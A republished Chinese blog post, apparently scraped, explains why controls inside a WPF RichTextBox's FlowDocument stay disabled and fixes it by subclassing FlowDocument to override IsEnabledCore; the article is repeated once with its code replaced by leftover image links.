<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>
WPF中, 启用添加到RichTextBox中的控件
周银辉
WPF中RichTextBox的确非常的强大, 但让人很郁闷的是:添加到其中的控件总是被禁用的(IsEnabled始终为false)
参考以下代码:
<
Window
xmlns
="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x
="http://schemas.microsoft.com/winfx/2006/xaml"
Title
="LearnWPF - Changing Elements with Styles"
Width
="350"
Height
="200"
>
<
RichTextBox
>
<!--
regular FlowDocument
-->
<
FlowDocument
FontFamily
="Segoe"
FontSize
="12"
>
<
Paragraph
>
This is some text inside a flowdocument
</
Paragraph
>
<
BlockUIContainer
>
<
Button
Content
="Click Me?"
IsEnabled
="True"
>
</
Button
>
</
BlockUIContainer
>
</
FlowDocument
>
</
RichTextBox
>
</
Window
>
虽然我们已经将Button的IsEnable属性设置为True,但实际运行时其仍然是被禁用的.
解决方案如下:
重写FlowDocument的IsEnabledCore属性,将其返回值设置为True
class
MyFlowDocument : FlowDocument
![](/Images/OutliningIndicators/ExpandedBlockStart.gif)
{
protected override bool IsEnabledCore
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
{
get
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
{
return true;
}
}
}
然后使用重写了的MyFlowDocument替换FlowDocument就可以了:)
文章来源于 http://www.cnblogs.com/zhouyinhui 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
周银辉
WPF中RichTextBox的确非常的强大, 但让人很郁闷的是:添加到其中的控件总是被禁用的(IsEnabled始终为false)
参考以下代码:
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/None.gif)
解决方案如下:
重写FlowDocument的IsEnabledCore属性,将其返回值设置为True
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/ExpandedBlockStart.gif)
![](/Images/OutliningIndicators/ContractedBlock.gif)
![](/Images/dot.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
![](/Images/OutliningIndicators/ContractedSubBlock.gif)
![](/Images/dot.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
![](/Images/OutliningIndicators/ContractedSubBlock.gif)
![](/Images/dot.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
![](/Images/OutliningIndicators/ExpandedBlockEnd.gif)
文章来源于 http://www.cnblogs.com/zhouyinhui 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>